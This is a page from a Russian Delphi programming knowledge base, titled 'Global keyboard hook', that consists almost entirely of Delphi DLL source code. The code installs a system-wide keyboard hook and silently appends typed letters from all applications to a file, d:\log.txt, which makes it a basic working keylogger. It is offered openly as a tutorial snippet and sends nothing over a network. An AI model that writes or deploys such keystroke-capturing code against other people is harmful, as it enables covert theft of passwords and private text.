Sources
Delphi Russian Knowledge Base
DRKB - база знаний по Дельфи в рунете, составленная Виталием Невзоровым

Глобальный хук на клавиатуру

01.01.2007

library Hook;

uses Windows, SysUtils;

const KF_UP_MY = $40000000;

var CurrentHook: HHook;
    KeyArray: array[0..19] of char;
    KeyArrayPtr: integer;
    CurFile:text;

function GlobalKeyBoardHook(code: integer; wParam: integer;
           lParam: integer): longword; stdcall;
var
  i:integer;
begin
  if code< 0 then
  begin
    result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
    Exit;
  end;
  if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
  begin
    KeyArray[KeyArrayPtr]:=char(wParam);
    KeyArrayPtr:=KeyArrayPtr+1;
    if KeyArrayPtr> 19 then
    begin
      for i:=0 to 19 do
      begin
        Assignfile(CurFile,'d:\log.txt');
        if fileexists('d:\log.txt')=false then rewrite(CurFile)
        else Append(CurFile);
        write(Curfile, KeyArray[i]);
        closefile(curfile);
      end;
      KeyArrayPtr:=0;
    end;
  end;
  CallNextHookEx(CurrentHook,code,wParam,lparam);
  result:=0;
end;

procedure SetupGlobalKeyBoardHook;
begin
  CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
  KeyArrayptr:=0;
end;

procedure unhook;
begin
  UnhookWindowshookEx(CurrentHook);
end;

exports
  SetupGlobalKeyBoardHook, UnHook;
begin
end.
Previous page:
Демонстрационный пример хука и подмены API в приложениях
Top:
DRKB
Next page:
Ловушки в Windows